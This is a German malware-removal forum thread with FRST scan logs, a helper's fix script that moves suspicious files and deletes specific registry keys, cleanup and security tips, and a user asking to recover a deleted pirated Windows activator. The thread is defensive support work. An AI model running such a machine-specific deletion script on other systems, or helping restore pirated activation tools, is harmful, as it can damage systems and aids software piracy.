2017-05-30 14:05 - 2016-10-23 18:05 - 00000000 ____D C:\ProgramData\Samsung
2017-05-29 23:08 - 2017-02-13 16:13 - 00000000 ____D C:\Program Files (x86)\Minecraft
2017-05-29 23:08 - 2016-12-10 12:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\.minecraft
2017-05-29 21:59 - 2016-10-12 16:07 - 00000000 ____D C:\Program Files\Image-Line
2017-05-26 18:19 - 2016-11-18 17:58 - 00000000 ____D C:\Program Files (x86)\Steam
2017-05-26 10:55 - 2016-01-04 18:15 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Steam
2017-05-25 16:04 - 2017-05-07 15:12 - 00000000 ____D C:\ProgramData\Orbit
2017-05-25 16:04 - 2017-05-07 15:06 - 00000000 ____D C:\Users\Nick Schuster\Documents\My Games
2017-05-25 15:49 - 2017-02-14 16:53 - 00000000 ____D C:\ProgramData\SUPPORTDIR
2017-05-25 15:49 - 2017-02-14 16:53 - 00000000 ____D C:\ProgramData\install_backup
2017-05-25 15:49 - 2017-02-03 12:27 - 00000000 ___HD C:\Program Files (x86)\InstallShield Installation Information
2017-05-25 15:49 - 2016-10-13 22:01 - 00000000 ____D C:\ProgramData\TEMP
2017-05-24 11:40 - 2017-02-27 11:37 - 00000000 ____D C:\ProgramData\CanonIJPLM
2017-05-23 15:40 - 2013-08-22 17:20 - 00000000 ____D C:\Windows\CbsTemp
2017-05-23 15:34 - 2015-12-28 20:55 - 132223576 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-05-23 15:34 - 2015-12-28 20:55 - 00000000 ____D C:\Windows\system32\MRT
2017-05-22 21:46 - 2015-12-27 00:10 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Skype
2017-05-22 21:24 - 2016-09-24 19:16 - 00000000 ____D C:\ProgramData\Package Cache
2017-05-22 21:24 - 2015-12-27 00:10 - 00002715 _____ C:\Users\Public\Desktop\Skype.lnk
2017-05-22 21:24 - 2015-12-27 00:10 - 00000000 ___RD C:\Program Files (x86)\Skype
2017-05-22 21:24 - 2015-12-27 00:10 - 00000000 ____D C:\ProgramData\Skype
2017-05-21 19:04 - 2015-12-26 22:50 - 00000000 ____D C:\Program Files (x86)\TeamViewer
2017-05-21 19:03 - 2017-02-26 13:05 - 00000991 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\TeamViewer 12.lnk
2017-05-21 19:03 - 2017-02-26 13:05 - 00000979 _____ C:\Users\Public\Desktop\TeamViewer 12.lnk
2017-05-17 18:44 - 2016-08-20 12:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\TeamViewer
2017-05-17 16:58 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\SysWOW64\Macromed
2017-05-17 16:41 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\system32\FxsTmp
2017-05-16 15:15 - 2017-03-07 15:40 - 00000000 ____D C:\Users\Nick Schuster\.gimp-2.8
2017-05-14 22:50 - 2017-03-16 23:29 - 00000000 ____D C:\Users\Nick Schuster\Desktop\fl studio songs
2017-05-14 16:21 - 2016-07-31 16:03 - 05282048 _____ C:\Windows\system32\FNTCACHE.DAT
2017-05-14 16:16 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\PolicyDefinitions
2017-05-13 00:45 - 2017-02-12 16:33 - 00000000 ____D C:\Users\Nick Schuster\Desktop\BSHelper
2017-05-11 23:41 - 2017-05-07 14:58 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Ubisoft Game Launcher
2017-05-09 18:25 - 2016-11-08 22:46 - 00004496 _____ C:\Windows\System32\Tasks\Adobe Flash Player PPAPI Notifier
2017-05-09 18:25 - 2016-10-13 18:22 - 00004342 _____ C:\Windows\System32\Tasks\Adobe Flash Player Updater
2017-05-09 17:25 - 2013-08-22 17:36 - 00000000 ____D C:\Windows\system32\Macromed

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======

2016-12-12 23:28 - 2016-12-12 23:28 - 0001120 _____ () C:\Users\Nick Schuster\AppData\Roaming\.minecraft - Verkn黳fung.lnk
2010-08-28 22:43 - 2010-08-28 22:43 - 0096256 ____N (Google, inc) C:\Users\Nick Schuster\AppData\Roaming\AdbWinApi.dll
2010-08-28 22:43 - 2010-08-28 22:43 - 0060928 ____N (Google, inc) C:\Users\Nick Schuster\AppData\Roaming\AdbWinUsbApi.dll
2017-03-07 15:59 - 2017-03-07 15:59 - 0003330 _____ () C:\Users\Nick Schuster\AppData\Local\recently-used.xbel
2016-01-07 17:00 - 2016-12-17 21:05 - 0007598 _____ () C:\Users\Nick Schuster\AppData\Local\Resmon.ResmonCfg
2017-02-12 14:36 - 2017-04-22 20:22 - 0000552 _____ () C:\Users\Nick Schuster\AppData\Local\TroubleshooterConfig.json
2016-10-21 22:16 - 2016-10-23 18:04 - 0000158 _____ () C:\Users\Nick Schuster\AppData\Local\uts.ini

==================== Bamital & volsnap ======================

(Es ist kein automatischer Fix f黵 Dateien vorhanden, die an der Verifikation gescheitert sind.)

C:\Windows\system32\winlogon.exe => Datei ist digital signiert
C:\Windows\system32\wininit.exe => Datei ist digital signiert
C:\Windows\explorer.exe => Datei ist digital signiert
C:\Windows\SysWOW64\explorer.exe => Datei ist digital signiert
C:\Windows\system32\svchost.exe => Datei ist digital signiert
C:\Windows\SysWOW64\svchost.exe => Datei ist digital signiert
C:\Windows\system32\services.exe => Datei ist digital signiert
C:\Windows\system32\User32.dll => Datei ist digital signiert
C:\Windows\SysWOW64\User32.dll => Datei ist digital signiert
C:\Windows\system32\userinit.exe => Datei ist digital signiert
C:\Windows\SysWOW64\userinit.exe => Datei ist digital signiert
C:\Windows\system32\rpcss.dll => Datei ist digital signiert
C:\Windows\system32\dnsapi.dll => Datei ist digital signiert
C:\Windows\SysWOW64\dnsapi.dll => Datei ist digital signiert
C:\Windows\system32\Drivers\volsnap.sys => Datei ist digital signiert

LastRegBack: 2017-05-23 15:34

==================== Ende von FRST.txt ============================
--- --- ---

[/CODE]

das is echt umst鋘dlich dass man nur eine bestimmte anzahl an zeichen pro nachricht schreiben kann.... das bringt mich durcheinander

ich hab die dateien jetzt auf mediafire hochgeladen

der link dazu: Log dateien



und meine frage ist immernoch wie ich nun den durch FRST verloren gegangenen ordner zur點kbekomme?

Code:

der link zu den download logs:  hxxp://www.mediafire.com/file/fd1nt5g5btwqdtb/Log+dateien.zip

M-K-D-B 08.06.2017 22:06
Servus,



keine Panik, den Ordner bringe ich dir wieder zur點k. ;)






Zitat:
CHIP-Installer.exe
Bitte keinen Chip-Installer mehr verwenden! Bitte lesen: CHIP-Installer was ist das?





Abschlie遝nde Ma遪ahmen
  • Kopiere den Inhalt der folgenden Code-Box:
    Code:
    Start::
    C:\Users\Nick Schuster\AppData\Local\Atajerge
    C:\Users\Nick Schuster\AppData\Local\Apps\2.0\7dc8436000ad11e690c70616440bcd7d.sts
    C:\Users\Nick Schuster\Documents\Windows Activator.exe
    C:\Windows\Installer\106212c6.msi
    C:\Windows\System32\config\systemprofile\AppData\Local\DMR
    C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\tmp
    DeleteKey: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\IM
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{0FF03983-EAA6-4628-8E7C-387B2D4F8EF2}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{3A71C84A-1CC4-4201-B037-C81CE118D66F}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{432599E9-40CF-41E3-951A-E1E81B7B1D29}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{7D215707-3E74-4E0E-A078-2C95E1CDE233}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{9295785F-8C01-4ED3-9322-8BE5C17CA141}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{B98E44C8-7BB7-4A4A-B8D2-60874CA109B2}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{C656BCEB-6B19-4992-9975-D53CEA283356}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{D5AC4B9C-8EE4-48AD-A77E-1560AD886A0B}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{D6914FD3-FD8E-45AD-8993-901E7B2759FD}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{E0106905-0EDD-4F56-BDB5-890A1F6E8F47}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{E26E880F-176C-4007-B2A7-B8F27621EC51}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{E776B534-9402-4049-87C3-089EC0F54BAF}
    DeleteKey: HKLM\SOFTWARE\Classes\Interface\{FCFBBE24-2ADA-4D6E-A381-DEC6E3EAEE21}
    RestoreQuarantine: C:\FRST\Quarantine\C\Users\Nick Schuster\Desktop\982652986578268672
    Reboot:
    End::
  • Starte nun FRST und klicke den Entfernen Button.
  • Das Tool f黨rt die gew黱schten Schritte aus und erstellt eine fixlog.txt im selben Verzeichnis, in dem sich die FRST/FRST64.exe befindet.
  • Gegebenenfalls muss dein Rechner daf黵 neu gestartet werden.
  • Poste mir den Inhalt der fixlog.txt mit deiner n鋍hsten Antwort.

Die Fixlog von FRST gleich posten, da diese sonst mit DelFix (siehe weiter unten) automatisch entfernt wird!







Dann w鋜en wir durch!
Wenn du keine Probleme mehr mit Malware hast, dann sind wir hier fertig. Deine Logdateien sind sauber. :daumenhoc

Wenn Du m鯿htest, kannst Du hier sagen, ob Du mit mir und meiner Hilfe zufrieden warst...:dankeschoen:
Vielleicht m鯿htest du das Forum mit einer kleinen Spende http://www.trojaner-board.de/extra/spende.png unterst黷zen. :applaus:

Hinweise:
Bitte gib mir eine kurze R點kmeldung wenn alles erledigt ist und keine Fragen mehr vorhanden sind, so dass ich dieses Thema aus meinen Abos l鰏chen kann.
Zum Schluss m黶sen wir noch ein paar abschlie遝nde Schritte unternehmen, um deinen Pc aufzur鋟men und abzusichern.





Cleanup
Alle Logs gepostet? Dann lade Dir bitte http://filepony.de/icon/tiny/delfix.pngDelFix herunter.
  • Schlie遝 alle offenen Programme.
  • Starte die delfix.exe mit einem Doppelklick.
  • Setze vor jede Funktion ein H鋕chen.
  • Klicke auf Start.
  • Starte deinen Rechner zum Abschluss neu auf.
Hinweis:
DelFix entfernt u.a. alle verwendeten Programme, die Quarant鋘e unserer Scanner, den Java-Cache und l鰏cht sich abschlie遝nd selbst.
Starte deinen Rechner anschlie遝nd neu. Sollten jetzt noch Programme aus unserer Bereinigung 黚rig sein, kannst du diese bedenkenlos l鰏chen.





Virenscanner + Firewall
Vorab sei erw鋒nt, dass man niemals die Schutzwirkung eines Virenscanners 黚erbewerten darf! Kein Antivirusprogramm erkennt 100% der Schadsoftware.

Sofern du noch unentschieden bist, verwende MAXIMAL EIN EINZIGES der folgenden Antivirusprogramme mit Echtzeitscanner und stets aktueller Signaturendatenbank:
Microsoft Security Essentials (MSE) / Windows Defender (WD) ist ab Windows 8 fest eingebaut, wenn du also Windows 8, 8.1 oder 10 und dich f黵 MSE/WD entschieden hast, brauchst du nicht extra MSE/WD zu installieren. Bei Windows 7 muss es aber manuell installiert oder 黚er die Windows Updates als optionales Update bezogen werden. Selbstverst鋘dlich ist ein legales/aktiviertes Windows Voraussetzung daf黵.

Verwende immer nur reine Virenscanner (keine Produkte mit "Suite", "Internet Security", "Endpoint" oder "Total Security" in Namen, denn diese bringen kontraproduktive Firewalls mit - die Windows-Firewall ist alles was ben鰐igt wird)

Zus鋞zlich kannst Du Deinen PC regelm溥ig mit Malwarebytes Anti-Malware, AdwCleaner und mit dem ESET Online Scanner scannen.
Diese Programme sind alle kostenlos und st鰎en nicht den Betrieb deines Antivirenprogramms.





Absicherungen
Beim Betriebsystem Windows ist es wichtig, die automatischen Updates zu aktivieren.
Auch sicherheitsrelevante Software sollte immer in aktueller Version vorliegen.

Das zeitnahe Einspielen von Updates ist erforderlich, damit Sicherheitsl點ken geschlossen werden. Sicherheitsl點ken werden beispielsweise dazu ausgenutzt, um beim einfachen Besuch einer manipulierten Website per "Drive-by" Malware zu installieren.

Besonders aufpassen bzgl. der Aktualit鋞 musst du insbesondere bei folgender Software - sofern diese 黚erhaupt ben鰐igt wird:

Optionale Browsererweiterungen
  • Adblock Plus oder uBlock Origin (Firefox - Chrome) - k鰊nen Banner, Pop-ups, Videowerbung, Tracking und Malware-Seiten blockieren
  • NoScript - verhindert das Ausf黨ren von aktiven Inhalten (Java, JavaScript, Flash,...) f黵 s鋗tliche Websites. Man kann aber nach dem Prinzip einer Whitelist festlegen, auf welchen Seiten Scripts erlaubt werden sollen. NoScript kann gerade bei technisch nicht allzu versierten Nutzern beim Surfen zum Nervfaktor werden; ob das Tool geeignet ist, muss jeder selbst mal ausprobieren und dann f黵 sich entscheiden.





Grunds鋞zliches
  • 膎dere regelm溥ig deine Online-Passw鰎ter und erstelle regelm溥ig Backups deiner wichtigen Dateien oder des Systems. Genaueres dazu findest du unten im Lesestoff zu Backups.
  • Lade keine Software von Chip, Softonic, SourceForge oder VLC.de. Die dort angebotene Software wird h鋟fig mit einem sog. "Installer" verteilt, mit dem man sich nur unerw黱schte Software oder Adware installiert.
  • Lade Software von einem sauberen Portal wie http://filepony.de/images/microbanner.gif oder direkt beim jeweiligen Hersteller / Entwickler.
  • W鋒le beim Installieren von Software immer die benutzerdefinierte Option und entferne die Haken bei allen optional angebotenen Toolbars oder sonstigen, f黵s Programm, irrelevanten Erg鋘zungen.
  • Der Nutzen von Registry-Cleanern, Optimizern usw. zur Performancesteigerung ist umstritten bis nicht belegbar. Selbst Microsoft unterst黷zt sog. Registry-Cleaner nicht.
    Ich empfehle deshalb, die Finger von der Registry zu lassen und lieber die windowseigene Datentr鋑erbereinigung zu verwenden.





Lesestoff:
Backup-/Image-Tools

Damit man sinnvolle Backups hat, muss man regelm溥ig (z. B. w鯿hentlich) ein Image auf eine separate externe Festplatte erstellen. Diese externe Festplatte wird nur dann angeschlossen, wenn man das Backup erstellen will (oder etwas wiederherstellen muss), ansonsten bleibt sie aus Sicherheitsgr黱den sicher im Schrank verwahrt - allein schon aus dem Grund, die Backups vor "Verschl黶selungstrojanern" zu sch黷zen.

Du solltest dich f黵 eines der folgenden Programmen entscheiden und damit regelm溥ig deine Daten sichern.

Optioin 1 - Drivesnapshot
Drive Snapshot - Disk Image Backup for Windows NT/2000/XP/2003/X64

Download (32-Bit) => http://www.drivesnapshot.de/download/snapshot.exe
Download (64-Bit) => http://www.drivesnapshot.de/download/snapshot64.exe

Screenshots:
http://www.drivesnapshot.de/images/startup.png
http://www.drivesnapshot.de/images/save3.png



Option 2 - Seagate DiscWizard
Seagate DiscWizard - Download - Filepony

Screenshots:
http://filepony.de/screenshot/seagate_discwizard5.jpg
http://filepony.de/screenshot/seagate_discwizard4.png
http://filepony.de/screenshot/seagate_discwizard3.jpg



Option 3 - Acronis TrueImage WD Edition
Acronis True Image WD Edition - Download - Filepony

Screenshots:
http://filepony.de/screenshot/acroni...d_edition1.jpg
http://filepony.de/screenshot/acroni...d_edition2.jpg

NexsReloaded 09.06.2017 14:19
Code:

Entferungsergebnis von Farbar Recovery Scan Tool (x64) Version: 07-06-2017 01
durchgef黨rt von Nick Schuster (09-06-2017 14:18:09) Run:4
Gestartet von C:\Users\Nick Schuster\Desktop\anti trojan\killer.exe
Geladene Profile: Nick Schuster (Verf黦bare Profile: Nick Schuster)
Start-Modus: Normal
==============================================

fixlist Inhalt:
*****************

C:\Users\Nick Schuster\AppData\Local\Atajerge
C:\Users\Nick Schuster\AppData\Local\Apps\2.0\7dc8436000ad11e690c70616440bcd7d.sts
C:\Users\Nick Schuster\Documents\Windows Activator.exe
C:\Windows\Installer\106212c6.msi
C:\Windows\System32\config\systemprofile\AppData\Local\DMR
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\tmp
DeleteKey: HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\IM
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{0FF03983-EAA6-4628-8E7C-387B2D4F8EF2}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{3A71C84A-1CC4-4201-B037-C81CE118D66F}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{432599E9-40CF-41E3-951A-E1E81B7B1D29}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{7D215707-3E74-4E0E-A078-2C95E1CDE233}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{9295785F-8C01-4ED3-9322-8BE5C17CA141}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{B98E44C8-7BB7-4A4A-B8D2-60874CA109B2}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{C656BCEB-6B19-4992-9975-D53CEA283356}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{D5AC4B9C-8EE4-48AD-A77E-1560AD886A0B}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{D6914FD3-FD8E-45AD-8993-901E7B2759FD}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{E0106905-0EDD-4F56-BDB5-890A1F6E8F47}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{E26E880F-176C-4007-B2A7-B8F27621EC51}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{E776B534-9402-4049-87C3-089EC0F54BAF}
DeleteKey: HKLM\SOFTWARE\Classes\Interface\{FCFBBE24-2ADA-4D6E-A381-DEC6E3EAEE21}
RestoreQuarantine: C:\FRST\Quarantine\C\Users\Nick Schuster\Desktop\982652986578268672
Reboot:

*****************

C:\Users\Nick Schuster\AppData\Local\Atajerge => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\Apps\2.0\7dc8436000ad11e690c70616440bcd7d.sts => erfolgreich verschoben
C:\Users\Nick Schuster\Documents\Windows Activator.exe => erfolgreich verschoben
C:\Windows\Installer\106212c6.msi => erfolgreich verschoben
C:\Windows\System32\config\systemprofile\AppData\Local\DMR => erfolgreich verschoben
C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\tmp => erfolgreich verschoben
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\IM => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{0FF03983-EAA6-4628-8E7C-387B2D4F8EF2} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{3A71C84A-1CC4-4201-B037-C81CE118D66F} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{432599E9-40CF-41E3-951A-E1E81B7B1D29} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{7D215707-3E74-4E0E-A078-2C95E1CDE233} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{9295785F-8C01-4ED3-9322-8BE5C17CA141} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{B98E44C8-7BB7-4A4A-B8D2-60874CA109B2} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{C656BCEB-6B19-4992-9975-D53CEA283356} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{D5AC4B9C-8EE4-48AD-A77E-1560AD886A0B} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{D6914FD3-FD8E-45AD-8993-901E7B2759FD} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{E0106905-0EDD-4F56-BDB5-890A1F6E8F47} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{E26E880F-176C-4007-B2A7-B8F27621EC51} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{E776B534-9402-4049-87C3-089EC0F54BAF} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Classes\Interface\{FCFBBE24-2ADA-4D6E-A381-DEC6E3EAEE21} => Schl黶sel erfolgreich entfernt
RestoreQuarantine: C:\FRST\Quarantine\C\Users\Nick Schuster\Desktop\982652986578268672=> Wiederherstellung aus der Quarant鋘e abgeschlossen.


Das System musste neu gestartet werden.

==== Ende von Fixlog 14:18:20 ====
danke f黵 die hilfe. Der ordner wurde wieder hergestellt und alle viren wurden entfernt.

ich habe aber immernoch das problem mit dem RunnDll fehler.
[IMG]http://www.fotos-hochladen.net/uploa...9eumb0wofh.jpg[/IMG]

mir f鋖lt grade auf dass noch eine datei gel鰏cht wurde.

installiert war sie unter: dokumente

ich glaub sie hie ,,windows 8 aktivate tool kit创

M-K-D-B 09.06.2017 15:14
Servus,


sieht nach einem internen Windows Problem aus, du k鰊ntest folgendes versuchen:
  • Lade Dir bitte Windows Repair - All in one http://www.deeprybka.trojaner-board....air/3.1/31.PNGvon tweaking.com hier herunter und installiere es.
  • Deaktiviere bitte (wenn m鰃lich) Dein Antivirusprogramm.
  • Bedenke, dass die einzelnen Reparaturen einige Zeit ben鰐igen. Starte keine anderen Anwendungen in dieser Zeit.
  • Starte das Programm und f黨re die Punkte 1-7 durch. (Siehe Bildanleitung)

M-K-D-B 11.06.2017 12:00
Ich bin froh, dass wir helfen konnten :abklatsch:

In diesem Forum kannst du eine kurze R點kmeldung zur Bereinigung abgeben, sofern du das m鯿htest:
Lob, Kritik und W黱sche
Klicke dazu auf den Button "NEUES THEMA" und poste ein kleines Feedback. Vielen Dank! :)

Dieses Thema scheint erledigt und wird aus meinen Abos gel鰏cht. Solltest Du das Thema erneut brauchen, schicke mir bitte eine Profilnachricht inklusive Link zum Thema.

Jeder andere bitte hier klicken und einen eigenen Thread erstellen.

NexsReloaded 13.06.2017 17:55
es gibt noch ein problem: ich habe herrausgefunden dass eine datei gel鰏cht w黵de.

ich glaub sie hie ,,windows 8.1 activation tool kit创 wie kann ich diese wiederherstellen?


Alle Zeitangaben in WEZ +1. Es ist jetzt 21:56 Uhr.

Copyright ©2000-2025, Trojaner-Board


Search Engine Optimization by vBSEO ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131